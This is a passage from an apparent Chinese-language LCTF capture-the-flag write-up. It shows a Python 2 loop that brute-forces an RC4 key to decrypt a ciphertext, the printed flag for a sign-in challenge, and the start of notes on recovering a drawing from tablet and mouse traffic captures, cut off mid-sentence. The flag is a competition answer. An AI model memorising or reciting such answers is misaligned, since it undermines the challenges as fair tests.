for i in xrange(255):
    kk = k
    kk += chr(i * 3 & 0xff)
    kk += chr(i * 2 & 0xff)
    kk += chr( ((i & 0x74 ) << 1)&0xff)
    kk += chr((i + 0x50) & 0xff)
    a = ARC4.new(kk)
    print a.decrypt(s)

misc

签到

小猿搜题 emmmm

LCTF{5d7b9adcbe1c629ec722529dd12e5129}

太真实了

你会玩osu!么?

数位板和鼠标的流量包

https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/?tdsourcetag=s_pctim_aiomsg

根据这篇文章,提取流量包里面的数据,作图,得到非常

源链接

Hacking more

...